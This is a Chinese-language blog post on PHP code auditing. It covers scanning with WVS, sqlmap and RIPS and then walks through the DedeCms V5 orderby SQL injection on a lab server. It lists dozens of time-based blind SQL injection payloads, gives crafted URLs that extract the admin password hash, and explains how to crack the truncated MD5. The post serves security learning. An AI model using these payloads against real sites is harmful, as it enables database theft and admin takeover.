PHP代码审计和漏洞挖掘的一点思考

PHP的漏洞有很大一部分是来自于程序员本身的经验不足，当然和服务器的配置有关，但那属于系统安全范畴了，我不太懂，今天我想主要谈谈关于PHP代码审计和漏洞挖掘的一些思路和理解。

PHP的漏洞发掘，其实就是web的渗透测试，和客户端的fuzzing测试一样，web的渗透测试也可以使用类似的技术，web fuzzing，即基于web的动态扫描。

这类软件国内外有很多，如WVS，Lan Guard，SSS等。这类扫描器的共同特点都是基于蜘蛛引擎对我们给出的URL地址进行遍历搜索，对得到的URL和参数进行记录，然后使用本地或者web端的script脚本攻击语句进行攻击测试。

如：

http://www.foo.com/index.php?parm1=1&parm2=2&parm3=3.....&parmn=n

WVS使用本地的脚本攻击数据库对这些参数进行交叉替换和填充，构造出新的URL，然后用GET或者POST的方式向服务器发出请求，并对返回的结果进行正则判断。如是否出现:” You have an error in your SQL syntax”等字样。如果出现，则记录下来，说明这个脚本页面”可能”存在漏洞。

WVS把攻击分成了很多模块：

1. Blind_SQL_Injection
2. AcuSensor
3. CSRF
4. Directory_And_File_Check
5. File_Upload
6. GHDB(Google黑客数据库)
7. Sql_Injection
8. Weak_Password
9. XSS

每种攻击测试方式都对应着一类scripts，里面包含了攻击语句。

用WVS扫描完之后，如果能发现一些sql注入点的提示，这个时候可以先用sqlmap进行注入尝试，进一步判断注入点的情况。

http://hi.baidu.com/306211321/item/b4b2ea1f75db1dea9913d659

如果这两步都不能成功，说明基于fuzz的动态扫描不能继续下去了，这个时候，我们应该想办法进行静态的代码审计，从源代码的角度分析和挖掘漏洞的成因和利用方式。这块可以使用RIPS这样的软件，RIPS是一款专门用来进行静态PHP代码审计的工具，能够帮助我们定位到可能存在漏洞的代码区域。

RIPS对代码进行静态漏洞扫描的基本思想有两条：

1.       对容易产生漏洞的函数进行跟踪(例如:mysql_query())

RIPS认为，所有的注入漏洞最终都要经过一些特定的数据库操作函数，mysql_query()或程序自定义的类函数，这些函数是产生漏洞的导火索，只要对这些函数的控制流和参数流进行回溯扫描，就可以发现大部分的代码漏洞。

2.       对产生注入漏洞的源头即用户传输过来的数据流进行跟踪($_GET,$_POST,$_COOKIE)

“用户输入的一切数据都有害”，大部分的注入漏洞，包括二次注入，究其原因都是因为对用户的输入数据没有做好过滤，RIPS对这些敏感数据进行跟踪，并判断其在进入敏感函数(mysql_query())之前有没有对其进行有效处理(addslashes())来判断这条数据流是否存在漏洞。

动态扫描加上静态定位，最终使我们能更容易的发现一些漏洞并及时使其得到修补。

接下来，我们来针对一个已知的漏洞进行一次分析。

DedeCms V5 orderby参数注射漏洞

SSV-ID：3824

SSV-AppDir：织梦

URL：http://sebug.net/vuldb/ssvid-3824

1.       动态扫描

架设好服务器和网站后，我们使用WVS对网站的根目录进行扫描，因为我们现在是黑盒测试，所以直接从网站根目录开始扫描。

等待一段时间后，扫描结果出来了，得到一些疑似SQL注入的URL。这里研究一下WVS的注入测试原理是什么，通过查看apache的access.log。我们发现了一下请求(无关部分已经删除)。

id=-1&page=1
id=-1 or 1*71=71&page=1
id=-1 or 71=0&page=1
id=-1' or 5=5 or '39'='39&page=1
id=-1' or '39'='0&page=1
id=IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR"*/&page=1
id=com_virtuemart' and sleep(2.09)='&page=1
id=com_virtuemart' and (sleep(2.09)+1) limit 1 -- &page=1
id=com_virtuemart'=sleep(2.09)='&page=1
id=com_virtuemart"=sleep(2.09)="&page=1
id=com_virtuemart'+(select 1 from (select sleep(2.09))A)+'&page=1
id=com_virtuemart and sleep(2.09) &page=1
id=com_virtuemart or (sleep(2.09)+1) limit 1 -- &page=1
id=com_virtuemart';select pg_sleep(2.09); -- &page=1
id=com_virtuemart'; waitfor delay '0:0:2.09' -- &page=1
id=com_virtuemart"; waitfor delay '0:0:2.09' -- &page=1
id=com_virtuemart&page=-1 or 1*22=22
id=com_virtuemart&page=-1 or 22=0
id=com_virtuemart&page=-1' or 5=5 or '56'='56
id=com_virtuemart&page=-1' or '56'='0
id=com_virtuemart&page=-1" or 5=5 or "39"="39
id=com_virtuemart&page=-1" or "39"="0
id=com_virtuemart&page=IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR"*/
id=com_virtuemart&page=1 and sleep(2) 
id=com_virtuemart&page=1 or (sleep(2)+1) limit 1 -- 
id=com_virtuemart&page=1' and sleep(2)='
id=com_virtuemart&page=1' and sleep(0)='
id=com_virtuemart&page=1' and (sleep(2)+1) limit 1 -- 
id=com_virtuemart&page=1' or (sleep(2)+1) limit 1 -- 
id=com_virtuemart&page=1" or (sleep(2)+1) limit 1 -- 
id=com_virtuemart&page=1" or (sleep(0)+1) limit 1 --  
id=com_virtuemart&page=1'=sleep(2)='
id=com_virtuemart&page=1"=sleep(2)="
id=com_virtuemart&page=1'+(select 1 from (select sleep(2))A)+'
id=com_virtuemart&page=1;select pg_sleep(2); -- 
id=com_virtuemart&page=1';select pg_sleep(2); -- 
id=com_virtuemart&page=1; waitfor delay '0:0:2' -- 
id=com_virtuemart&page=1'; waitfor delay '0:0:2' -- 
id=com_virtuemart&page=1"; waitfor delay '0:0:2' -- 

可以看到，WVS采用的是一种基于时间延迟的盲注入测试技术。

http://www.4ngel.net/article/49.htm

盲注入的利用关键是要找到一个二值逻辑的判断，即需要对不同的输入有不同的返回结果，我们才能借助推理得到一些信息，但是有时候，盲注入得到的结果并不会在UI上显示出来，这样就回导致我们注入失败，但是采用时间延迟的思想就可以很好的避免这个问题，从而能够对不同的程序具有很好的适应性。

1.       注入点探测

得到WVS的扫描结果后，我们需要对可能存在注入的URL进行注意排查，以确定是否真的存在注入漏洞。

我们选取：http://192.168.174.131/index.php?option=com_virtuemart&page=1

这是dedecms的一个留言板的脚本页面：

使用sqlmap对疑似注入点进行探测：

python sqlmap.py -u "http://192.168.174.131/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=1" --current-db

扫描的结果没有成功，又手工尝试了union selct和order by1，2，3..等注入方式，貌似不能获得盲注入的效果。

不成功的原因有很多，我自己根据经验总结了几点：

触发实际的sql注入漏洞之前要

1. 先获取cookie值(如果没有cookie值很多时候会被直接弹出到首页，没法进入到一些深层次的代码逻辑)
2. 获取formhash(防止CSRF的)
3. 对POST或GET或cookie中的某个字段进行某种编码(base64等)
4. 特殊字符(%cf宽字符)注入等
5. 结合POST或COOKIE的变量覆盖的sql注入
6. 盲注入sql语句构造的特殊性

这些先验条件有时候就会称为漏洞触发和利用的关键。

这个时候用自动化工具进行测试的工作基本做完了，我们接下来要使用RIPS来对源代码进行白盒分析，因为目标系统是开源的cms系统，我们可以很容易的从网上下载到全部源代码。

使用RIPS对cms的整站源代码进行扫描

RIPS扫描出了很多文件，有些是因为交叉引用，有些是真正存在漏洞的代码的。

我们来到: /member/guestbook_admin.php

来分析以下代码漏洞

//重载列表
if($dopost=='getlist'){
         PrintAjaxHead();
         GetList($dsql,$pageno,$pagesize,$orderby);
         $dsql->Close();
         exit();
.........

//获得特定的关键字列表
//---------------------------------
function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){
         global $cfg_phpurl,$cfg_ml;
         $jobs = array();
         $start = ($pageno-1) * $pagesize;
 
  $dsql->SetQuery("Select * From #@__jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");
         $dsql->Execute();
  while($row = $dsql->GetArray()){
         $row['endtime'] = @ceil(($row['endtime']-$row['pubdate'])/86400);
         if($row['salaries'] == 0){
                  $row['salaries'] = '薪酬面议';
         }
    $jobs[] = $row;
   }
         foreach($jobs as $job)
         {
                   //模板文件
                   include(dirname(__FILE__)."/templets/job.htm");
         }

可以看到，代码在编写的时候，并没有对orderby这个参数进行过滤。导致了注入和畸形数据报错，接下来，我们的任务就是要利用这个漏洞进行有效的注入，获得数据。

我们手工构造一个SQL注入：

http://192.168.174.130/dedecms5.1/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=mid+and+if(ASCII(SUBSTRING((SELECT+pwd+FROM+dede_admin+where+id=1),0,1))=63,1,(SELECT+pwd+FROM+dede_member))

对应的sql语句：

Select * From dede_member_guestbook where mid='1' order by mid and if(ASCII(SUBSTRING((select pwd from dede_admin where id=1),1,1))=55,1,(select pwd from dede_member));

这样不能成功，因为sql语句的语法是这样的：

SELECT select_list
　　[ INTO new_table ]
　　FROM table_source
　　[ WHERE search_condition ]
　　[ GROUP BY group_by_expression ]
　　[ HAVING search_condition ]
[ ORDER BY order_expression [ ASC | DESC ] ]

而我们在能控制的参数是order by参数，在where后面，我发现这个时候不管and逻辑的true or false都不影响sql的查询结果。

转换一下思路：

http://192.168.174.130/dedecms5.1/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=mid,if(ASCII(SUBSTRING((select+pwd+from+dede_admin+where+id=1),1,1))=54,1,(select+pwd+from+dede_member))+asc--

对应的sql语句：

Select * From dede_member_guestbook where mid='1' order by mid,if(ASCII(SUBSTRING((select pwd from dede_admin where id=1),1,1))=55,1,(select pwd from dede_member)) asc;

这个语句貌似可以利用，因为在标准的sql语法中。在order by后面再加and是没有用的。但是这里用了逗，也就是if后面的语句也属于order by的一部分了。再在最后加上一个asc，盲注入就成功了。

在+asc后面加上–注释号，来屏蔽掉后面的desc limit 0,5，整个语句就能跑通了。根据返回的结果的不一致，利用正则判断一下，就可以利用盲注入进行帐号和密码的猜测。从而获得后台权限。然后dede的密码存放机制是产生32位的MD5后，截断前24位，所以得到的hash只有24位，没法用cmd5.com直接破解。698d51a19d8a121ce581499d，去掉前8位9d8a121ce581499d转换成16位MD5，再用cmd5.com来解密，成功。

总结：

Web渗透和代码审计的第一步是对网站的fuzz测试，这可以从整体上对网站的漏洞情况进行扫描，缩小范围。

对漏洞的具体挖掘和利用还是要使用白盒分析，即源代码分析，这样才能更有效的针对不同的代码情况指定出漏洞利用方案。

介绍一些web fuzzing的工具：

 

Browser Fuzzer 3 (bf3) – Comprehensive Web Browser Fuzzing Tool
MantraPortable  --- OWASP的一款渗透测试套件
Webshag v1.00 – Web Server Auditing Tool (Scanner and File Fuzzer)
Wfuzz – A Tool for Bruteforcing/Fuzzing Web Applications
WVS
LAN Guard
SQLmap

刚开始接触代码审计这块，懂得不是很多，就说了一些平时玩的过程中的理解和观点，希望大神路过能多多指导指导，我会继续学习这方面的知识。

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